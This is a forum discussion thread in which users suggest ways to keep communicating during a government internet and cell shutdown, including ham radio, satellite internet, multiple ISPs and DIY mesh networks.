Question: What is the best way to prepare for a Belarus-style internet attack? - <AUTHOR> In Belarus, most of the internet went down on Election Day. Authoritarian experts are saying it may be a dry run for similar events in the US in November.
ISP's and cell service were both interrupted. Major social media sites were all DDos'd.
Given that most Americans have only cell service these days, and not land lines, what would be the best way to prepare?
- Get a landline before election day
- Get a satellite phone before election day
- ???
Please do not reply with "oh that'll never happen" or some variation thereof. I'm asking what is the best preparation for if it were to happen, I'm not betting you money that it will.
Thanks! <comment><USER2> Are you familiar with amateur radio? That allows communication at a distance without a centralized authority. You could probably learn to operate a radio and have it up and running by November.

To answer your question though, I think you need to know your goals. Do you want to send messages to let people know how you're doing? Organize a resistance? What goal do you want to achieve? That will help you determine how to prepare.

<comment><USER3> It'd be an ARES/RACES operator's wet dream. Prove amateur radio is still relevant on a national scale so the bandwidth isn't taken away.

</comment></comment><comment><USER4> I guess you'd want to have service with multiple ISPs based on the hope that one of them would not correctly implement the order. I wouldn't try to predict which ISPs that would be.

You don't want to hear this but I think it would take a year or more to build a "great firewall of USA" that actually works.

</comment><comment><USER3> One thing to point out is that the US has been paying more attention to cyber threats in the past few years, especially to infrastructure. I would hope that we have a better defense plan/reaction than Belarus.

The only part of what you mentioned that would concern me is the cells being down and then not being able to call for emergency services. It's possible some of this could be mitigated by the COWs they deploy after natural disasters (cell on wheels). Having a land line might not help since a coordinated cyber attack would probably target the computerized portions of the land line systems (also don't they VOIP between substations now?).

<comment><USER4> A government shutdown isn't really a cyber-attack though.

<comment><USER3> The way it was put in the post suggested that the Belarus shutdown might have been a practice attack to prepare for the US in November. If it is internal, then yeah there's not a lot of options. The government can also jam frequencies it deems problematic, such as amateur bands being suggested in other comments.

</comment></comment></comment><comment><USER5> What do you want to achieve? The preparation could be any of a zillion things depending on what your goal is. Do you just want to be able to successfully vote? Or exchange short "im ok" messages with friends and family? Organize resistance networks? Watch netflix without buffering? Gain enough situational awareness to escape to an unaffected region (or refugee camp)? Remain productive at your remote dev job? Silent failover without really noticing things are wrong?

<comment><AUTHOR> I suppose at a minimum I would like to be able to communicate with my family, and if I see / have pictures of something that's very newsworthy, be able to get that to the world outside to be seen.

</comment></comment><comment><USER6> May be this 'would not happen' since most of the 'social' internet is within a single state (CA) and this state is the most hostile to current president?

</comment><comment><USER7> Satellite internet.

HAM radio.

[https://en.wikipedia.org/wiki/Tactics_and_methods_surroundin...](https://en.wikipedia.org/wiki/Tactics_and_methods_surrounding_the_2019%E2%80%9320_Hong_Kong_protests#Technology)

</comment><comment><USER8> Discussed in a lot of detail here

[https://news.ycombinator.com/item?id=24129059](https://news.ycombinator.com/item?id=24129059)

</comment><comment><USER9> 1) get a car

2) live near the border with another nation

</comment><comment><USER10> If the powers that be decide to cut internet access, they'll succeed, period. Any non complying ISP would be raided for acting against national security (insert political bullshit du jour here) etc. What common people can do (again: common people, do not expect any help from any corporate entities) is to create their own slow as hell Internet through mesh fault tolerant nodes that would arrange themselves automatically no matter where they are located, provided they have coverage, which would limit the global bandwidth to the bare minumum to exchange emails, small files and probably stuttering voice communication. Forget about streaming movies, online gaming and anything that requires speed and/or low latencies.

In case of real emergency however, you don't need any of the above; texting, email and slow upload of photos/videos would be more than enough, as it's extremely likely that they will become more important compared to anything else. Resurrecting USENET (like one micro server for every node) would be a nice touch since it requires a fraction of a fraction of the horsepower required to run any social network site. As for the technical side, it will require higher power output than what it's usually employed by WiFi cards and access points. Nothing exceptional, Watts instead of milliwatts, still it would be illegal, as would be the use of external directional antennas to link static nodes from longer distances, so if they need an excuse to SWAT mommy's basement to turn off that Raspberry PI based node because it poses a security risk for the country, they'll have it.

Now, if I had to build it, I'd probably start from some mesh networking software on the smallest platform I could find that could sustain the traffic (there are better and cheaper boards than the Raspberries), then would provide the system with longer and shorter distance links by using multiple WiFi NICs. The best node is something that can run off solar or any non grid power and whose OS would rearrange the links with other nodes making seamless connections.

Here are a couple links on the subject of mesh links.

[https://www.cwnp.com/wp- content/uploads/pdf/802.11s_mesh_net...](https://www.cwnp.com/wp- content/uploads/pdf/802.11s_mesh_networking_v1.0.pdf)

[https://en.wikipedia.org/wiki/Wireless_mesh_network](https://en.wikipedia.org/wiki/Wireless_mesh_network)

In other words, it's doable to some extent, but be prepared to encounter resistance, jamming or worse.

Thinking globally, if the shit hits the fan, and i mean real shit, then one probably has to return to analog communications; in adverse conditions, a portable CW ransmitter with concealable "tactical" antenna would have a lot more chances to reach another continent than the greatest WiFi card to make to the next city.</comment>